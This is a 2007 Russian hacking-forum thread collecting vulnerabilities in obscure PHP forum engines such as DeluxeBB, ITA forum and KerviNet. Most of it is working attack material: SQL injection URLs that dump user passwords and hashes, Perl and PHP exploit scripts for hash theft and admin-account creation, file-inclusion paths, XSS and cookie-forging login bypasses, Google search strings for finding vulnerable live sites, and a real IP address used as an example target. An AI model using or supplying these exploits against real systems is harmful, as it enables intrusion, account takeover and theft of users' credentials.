Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей в форумных движках] (https://forum.antichat.xyz/showthread.php?t=38107)

Grey 15.04.2007 13:23

[Обзор уязвимостей в форумных движках]
 
[Обзор уязвимостей в форумных движках]

----------------------------------------------------------------

Так же обратите внимание на темы:
[Обзор уязвимостей Ipb]
[Обзор уязвимостей phpBB]
[Обзор уязвимостей vBulletin]
[Обзор уязвимостей Ikonboard]
[Обзор Уязвимостей Yabb]
[Обзор уязвимостей myBB]
[Обзор уязвимостей Phorum]
[Обзор уязвимостей Woltlab Burning Board + Lite]
[ Обзор уязвимостей miniBB ]
Обзор уязвимостей PunBB
Обзор уязвимостей IceBB
[Обзор уязвимостей XMBForum]
----------------------------------------------------------------

Эти темы так же могут быть вам полезны:
Бэкдорим форумы. Теория и практика!
[FAQ + полезные ссылки]
- в этой теме вы сможете найти ответы на наиболее частые вопросы.

----------------------------------------------------------------

В этой теме будут выкладываться уязвимости, разных не очень популярных форумных движков.

----------------------------------------------------------------

Grey 15.04.2007 15:21

Форум: DeluxeBB
Версия: <= 1.06


Уязвимость в сценарие misc.php, из за недостаточной обработки данных в параметре name можно осуществить SQL инъекцию.

Код:

misc.php?sub=profile&name=0')+UNION+SELECT+1,concat(database(),char(58),version(),char(58),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
Пароль пользователя:

Код:

misc.php?sub=profile&name=0')+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+deluxebb_users+where+uid=1/*
где uid= - номер пользователя

Эксплойт:

Код:

#!/usr/bin/perl

# coded by k1b0rg

use LWP::UserAgent;
use strict;
my $site=$ARGV[0];
my $id=$ARGV[1];
my $browser = LWP::UserAgent->new() or die;
my $res=$browser->get($site.'misc.php?sub=profile&name=0\')+UNION+SELECT+1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+deluxebb_users+where+uid='.$id.'/*');

if($res->content=~m!<font class="misctext">([a-f0-9]{32})</font>!i)
{
print 'Hash for userid='.$id.': ['.$1.']';
}
else
{
print 'Exploit failed.';
}

Использование эксплойта:

путь к эксплойту сайт и путь до форума номер пользователя

c:\expl.pl http://site.com/forum/ 1

Сайт и путь до форума писать слитно:

http://site.com/forum/ - если форум в директорие forum
http://site.com/bb/ - если форум в директорие bb
http://site.com/ - если форум в корневом каталоге сайта

Резултат работы эксплойта - хеш (md5) пароля выбранного пользователя.

Пример уязвимости:

Код:

http://82.212.43.253/c_forum/misc.php?sub=profile&name=0')+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
Уязвимость под относительно старые форумы - всетреить такие можно не часто, особенно если учесть что сами движки форумов не сильно распространены.

------------------------------------------------------------------

Форум: DeluxeBB
Версия: <= 1.06


Из за недостаточной обработки данных в параметре templatefolder есть возможность осуществить php инклюдинг.

Уязвимых сценариев несколько:

Код:

http://site.com/templates/deluxe/postreply.php?templatefolder=[file]

http://site.com/templates/deluxe/posting.php?templatefolder=[file]

http://site.com/templates/deluxe/pm/newpm.php?templatefolder=[file]

http://site.com/templates/default/postreply.php?templatefolder=[file]

http://site.com/templates/default/posting.php?templatefolder=[file]

http://site.com/templates/default/pm/newpm.php?templatefolder=[file]

При проверки узявимости

Код:

http://site.com/templates/deluxe/postreply.php?templatefolder=123
вылезала ошибка из которой было видно что к строке добавляеться /posticons.php (т.е. в результате строка выглядела 123/posticons.php), что отлично исправляеться добавлением к строке %00, т.е. в результате запрос долже выглядить так:

Код:

http://site.com/templates/deluxe/postreply.php?templatefolder=[file]%00

Grey 15.04.2007 17:16

Форум: DeluxeBB
Версия: <= 1.07


Для этой версии есть эксплойт для получения админских привилегий.

Эксплойт:

Код:

#!/usr/bin/perl
# DeluxeBB <= 1.07 Create Admin Exploit
#
## www.h4ckerz.com / www.hackerz.ir / www.aria-security.net
# ./2006-6-25
### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;


$host = $ARGV[0];
$uname = $ARGV[1];
$passwd = $ARGV[2];
$url = "http://".$host;

print q(
###########################################################
#          DeluxeBB <= 1.07 Create Admin Exploit          #
#          www.hackerz.ir - www.h4ckerz.com              #
################### Coded By Hessam-x #####################

);



if (@ARGV < 3) {
print " #  usage : hx.pl [host&path] [uname] [pass]\n";
print " #  E.g : hx.pl www.milw0rm.com/deluxebb/ str0ke 123456\n";
  exit();
}

 
    print " [~] User/Password : $uname/$passwd \n";
    print " [~] Host : $host \n";
    print " [~] Login ... ";



# Login In DeluxeBB <= 1.07 Create Admin Exploit

$xpl = LWP::UserAgent->new() or die;
$cookie_jar = HTTP::Cookies->new();

$xpl->cookie_jar( $cookie_jar );
$res = $xpl->post($url.'misc.php',
Content => [
"sub" => "login",
"name" => "$uname",
"password" => "$passwd",
"submit" => "Log-in",
"redirect" => "",
"expiry" => "990090909",
],);

  if($cookie_jar->as_string =~ /memberpw=(.*?);/) {
  print "successfully .\n";
  } else {
  print "UNsuccessfully !\n";
  print " [-] Can not Login In $host !\n";
  print $cookie_jar->as_string;
  exit();
  }

  # Creat Admin :)

$req = $xpl->get($url.'cp.php?sub=settings&xemail=h4x0r@h4x0r.net&xhideemail=0
&xmsn=h4x0r\',membercode=\'5&xicq=&xaim=&xyim=&xlocation=&xsite=&languagex=
English&skinx=default&xthetimeoffset=0&xthedateformat=d.m.y&xthetimeformat=12
&invisiblebrowse=0&markposts=15&submit=Update');
$tst = $xpl->get($url.'index.php');
if ($tst->as_string =~ /Admin Cp/) {
print " [+] You Are Admin Now !!";
} else {
    print " [-] Exploit Failed !";
    }

# milw0rm.com [2006-06-25]

Использование эксплойта:

путь к эксплойту сайт и путь до форума ваш логин ваш пароль

c:\expl.pl http://site.com/forum/ grey 123123

Сайт и путь до форума писать слитно:

http://site.com/forum/ - если форум в директорие forum
http://site.com/bb/ - если форум в директорие bb
http://site.com/ - если форум в корневом каталоге сайта

Резултат работы эксплойта - получение админских привилегий.

------------------------------------------------------------------

Форум: DeluxeBB
Версия: <= 1.9


Из за недостаточной обработки данных в параметре templatefolder есть возможность осуществить php инклюдинг.

На этот раз уязвим сценарий sig.php.

PHP код:

<?php
if($settings['smilies']=='on')
{
include(
$templatefolder.'/smilies.php');
}
?>

Из кода видно что для инклюда необходимо вывполнение условия $settings['smilies']=='on', а так же наличие %00, т.к. к строке будет добавляться /smilies.php.

В результате:

Код:

http://site.com/templates/deluxe/cp/sig.php?settings[smilies]=on&templatefolder=[file]%00
где [file] - файл, который будет инклюдиться, а settings[smilies]=on присвоение переменной необходимого для инклюда значения.

Grey 16.04.2007 20:43

Форум: WR-Форум
Версия: 1.8

Стандартный пароль который изначально стоит на форуме (на админку /admin.php) - admin. Конечно врятли что его не сменили но всё таки попробывать можно.

Есть несколько активных XSS.

В профиле в полях:

1. Откуда - скрипт будет срабатывать при просмотре страницы Участники.
2. Домашняя страничка - скрипт будет срабатывать при просмотре страницы Участники.

3. Подпись - скрипт будет срабатывать при просмотре сообщений в темах.

Вводим <script>alert();</script>

4. При регистрации создаём пользователя с именем <script>alert();</script> - почти на каждой странице будет срабатывать ваш код.

Куки пользователя выглядят примерно так:

wrfcookies=Grey%7C123%7C1176741104%7C1176741104%7C

%7C123%7C1176741104%7C1176741104%7C - это аски коды, если представить как символы то получиться, такая строка:

|123|1176741104|1176741104|

где |123| - пароль пользователя

Куки админа выглядят так:

frcookies=1%7Cadmin%7C1176740994%7C

Опять же если представить аски коды как символы то получиться:

1|admin|1176740994|

где |admin| - пароль к админ-центру

Видно что пароли не только не шифруються, но и храняться в куках, имею активную xss достать куки будет не сложно.

------------------------------------------------------------

Заливка шелла:

http://forum.antichat.ru/showpost.ph...8&postcount=18

------------------------------------------------------------

Скачать форум можно здесь: http://wr-script.ru/

Для поиска сайтов с таким форумом вводим: Powered by WR-Forum

Кстати сайтов с таким форумом не так уж и мало:

__http://www.google.ru/search?hl=ru&q=Powered+by+WR-Forum&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+G oogle&lr=

Grey 17.04.2007 12:17

Форум: RonForum
Версия: v30

Доступ в админку:

Если открыть файл admin.php и посмотреть его содержимое, то можно встретить такую строку:

PHP код:

if(isset($entrance) and $entrance=="1"

Эта строка идёт после проверки пароля вводе пароля, содержимого куков, но изначально никакого значения эта переменная не имеет, ей только присваиваеться значение в случае, если пароль введён правильно.

Переходим в админку:

http://site.com/from/admin.php

Теперь присваиваем переменной entrance необходимое значение 1:

http://site.com/from/admin.php?entrance=1

Теперь вы в админке, но есть не большой минус: при переходе по любой ссылке, значение переменной будет утеряно, что бы этого не случилось смотрим адрес ссылки, к примеру:

http://site.com/from/admin.php?what=moderators

и добавляем к ней необходмиое значение:

http://site.com/from/admin.php?entrance=1&what=moderators

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Copyright © Kwasnikov R.P

------------------------------------------------------------
------------------------------------------------------------

Форум: ParkerForum
Версия: 0.01

Активная XSS

В поле Сайт, при создание новой темы вводим <script>alert();</script> - скрипт будет выплняться при просмотре главной страницы форума, а так же при просмотре темы.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Copyrights (C) by ademan

------------------------------------------------------------
------------------------------------------------------------

Форум: Древообразный форум
Версия: 1.0

Активная XSS

Уязвимы поля Name и Subject.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Скрипт предоставлен www.chemport.ru

Horsekiller 17.04.2007 12:30

tForum <= b0.915
Форум малораспространённый, но всё же.

Активная XSS в поле "Message".



Код:

http://www.target/path/message.php

Вставляем в поле "Message":


Код:

[img]javascript:alert(document.cookie)[/img]

В кукисах сессия, логин.


Ссылка для поиска в Google:

Код:

_http://www.google.ru/search?hl=ru&newwindow=1&q=Powered+by%3A+tForum&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=

Grey 18.04.2007 11:56

Форум: KerviNet
Версия: 1.1

Из-за отсутствия фильтрации параметров, есть возможность осуществить SQL инъекцию.

Сценарий topic.php.
Уязвим параметр forum.

------------

PHP код:

$mysql->query("SELECT name FROM forums WHERE id_forum = ".$forum); 


Параметр передаёться, как есть, без какой либо фильтрации.

------------

Делаем запрос к базе данных:

topic.php?forum=-1+union+select+1/*

Таблица с пользователями:

topic.php?forum=-1+union+select+1+from+users/*

Вывод логина, пароля и мыла пользователя:

topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users/*

В результате запроса получаем: 1:TEST:123:grey@site.ru

где 1 - номер пользователя, TEST - имя пользователя, 123 - пароль пользователя, заметьте пароль храниться в незашифрованном виде, grey@site.ru - мыло пользователя
char(58) - это символ ':' который в нашем случае служит разделителем.

Перебор пользователей:

topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+0,1/*
topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+1,1/*
topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(5 8),pass,char(58),email)+from+users+limit+2,1/*

Код:

http://site.com/forum/topic.php?forum=-1+union+select+concat(id_user,char(58),name,char(58),pass,char(58),email)+from+users+limit+0,1/*
------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Copyright KerviNet © 2005-2007

------------------------------------------------------------
------------------------------------------------------------

Форум: XMB
Версия: 1.5

Активная XSS

Уязвим параметр MSN.

При регистрации пользователя в поле MSN вводим <script>alert();</script>, скрипт будет срабатывать при просмотре профиля пользователя.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered by XMB

Grey 18.04.2007 19:31

Форум: ITA forum
Версия: 1.21
Версия: 1.31
Версия: 1.49

Из-за отсутствия фильтрации параметров, есть возможность осуществить SQL инъекцию.

Сценарий showforum.php.
Уязвим параметр fid.

------------

PHP код:

$trs mysql_query("SELECT forumtitle, locked FROM itaf_forum WHERE forumid = '$fid'"); 

Параметр передаёться, как есть, без какой либо фильтрации.

------------

Делаем запрос к БД и в результате получам имя и хеш (mysql4) пароля пользователя:

Код:

http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58),user_name,char(58),user_pass),2+from+itaf_user+limit+0,1/*
Перебираем пользователей:

Код:

http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58),user_name,char(58),user_pass),2+from+itaf_user+limit+1,1/*
http://site.ru/forum/showforum.php?fid='+union+select+concat(id,char(58),user_name,char(58),user_pass),2+from+itaf_user+limit+2,1/*

------------

Для удобства написал небольшой слойт, который выдирает хеш пользователя (id пользователя задаёться):

PHP код:

<?php

// coded by Grey

if($argc == 4)
{
$a file('http://'.$argv[1].$argv[2].'showforum.php?fid=\'+union+select+user_pass,2+from+itaf_user+where+id='.$argv[3].'/*');
for(
$i 0$i count($a); $i++)
{
if(
eregi("[a-f0-9]{16,16}",$a[$i],$b))
{
echo(
"\n");
echo(
$b[0]);
echo(
"\n");
$t 1;
break;
}
}
if(
$t != 1) { echo("Exploit failed"); }
}
else
{
echo(
"\n");
echo(
'Usage: '.$argv[0].' site dir user_id');
echo(
"\n");
echo(
'Usage: '.$argv[0].' site.ru /forum/ 1');
echo(
"\n");
}
?>

Использование сплойта:

php c:\exp.php site dir user_id

php c:\exp.php site.ru /forum/ 1

site - сайт
dir - директория с форумом
user_id - номер пользователя

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered By: V1.21
Для поиска сайтов с таким форумом вводим: Powered By: V1.31
Для поиска сайтов с таким форумом вводим: Powered By: V1.49

К сожалению можно встретить и пропатченную версию, в которой эта уязвимость исправленна.

------------------------------------------------------------
------------------------------------------------------------

Другие уязвимости:

1. Форум: ITA forum
Версия: 1.31 (возможно и другие версии)
Версия: 1.49 (возможно и другие версии)

Пассивная XSS:

Код:

http://site.ru/search.php?Submit=true&search="><script>alert(123);</script>
2. Форум: ITA forum
Версия: 1.49 (возможно и другие версии)

SQL инъекция:

Код:

http://site.ru/showuser.php?uid='+union+select+1,concat(user_name,char(58),user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15+from+itaf_user/*

Grey 18.04.2007 23:30

Форум: Board
Версия: 2.0

1. SQL инъекция

Сценарий view_all_topic.php.
Уязвим параметр m_id.

------------

PHP код:

$sql2="select m_id as reply,name,email,msg,date_format(m_date,'%d.%m.%Y %T') as date, subject from $dbtable where r_id =$m_id order by date";
$result=mysql_query($sql2,$db); 

Параметр передаёться, как есть, без какой либо фильтрации.

------------

Делаем запрос к БД в результате, логин, пароль (пароль не зашифрован) и мыло пользователя:

Код:

http://site.ru/forum/view_all_topic.php?m_id=-1+union+select+concat(id,char(58),name,char(58),password,char(58),email),2,3,4,5+from+board000_users/*
2. Пасивная XSS

В поиске вводим <script>alert();</script> - скрипт выпольнится.

3. Активная XSS

При создание темы/сообщения вписываем в поле заголовка сообщения или в текст сообщения <script>alert();</script> - скрипт будет выпольняться при ответе на данное сообщение/тему.

4. Возможность заходить от любого пользователя, без ввода пароля.

Смотрим содержимое куков:

board_user_cook=qwerty; board_user_id=3

board_user_cook - имя пользователя
board_user_id - номер пользователя

Теперь меняем эти значения:

К примеру есть пользователь max и его номер 1:

board_user_cook=max; board_user_id=1

Всё теперь вы пользователь max.

------------

В Опере значение куков менять так:

Инструменты - Дополнительно - Cookies

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Copyright ° CarLine 2002г.

Не смотря на то, что форум старый сайтов с таким форумом достаточно много.

------------------------------------------------------------
------------------------------------------------------------

Форум: ReForum
Версия: 1.0

SQL инъекция

Уязвим параметр viewth.

Код:

http://site.ru/forum/?viewth=2
http://site.ru/forum/index.php?viewth=2

------------------------------------------------------------

Grey 22.04.2007 17:23

Форум: Trofimov forum
Версия: v1.2

Активная XSS в поле Имя.

Скрипт срабатывает после добавления темы (страница forum.php).

------------------------------------------------------------
------------------------------------------------------------

Форум: TROforum
Версия: 0.3

Из-за не коректной обработки параметров, можно войти в админку имея только пароль:

PHP код:

if ($password != "$admin_login&& $password != "$admin_password"

Как видно из этой строки войти в админку можно имея вместо пароля логин.
Изначально логин - login.

Но перед этим условием стоит условие:

PHP код:

if ($password != "$admin_login&& $password != "$admin_password"

Само условие не верно, т.к. оно звучит так: Если Логин И Пароль не верны, то прекратить выполнение скрипта.

Из условия следует, что если только логин или пароль будет неверным, то работу скрипта прекращать не следует.

Имя только логин (а его угадать проще(login, admin или просто имя админа)), можно получить полный доступ к админке:

Код:

http://site.ru/forum/admin/admin.php?login=login&password=login
Таким образом переменным login и password присваиваются необходимые для входа значения.

Но здесь всё проще - файл настроек не требует авторизации:

Код:

http://site.ru/forum/admin/update.php
А именно в этом файле хранятся Логин и Пароль, сменить которые не составит труда.

------------------------------------------------------------

Для поиска сайтов с таким форумом вводим: Powered by: TROforum 0.3


Время: 22:29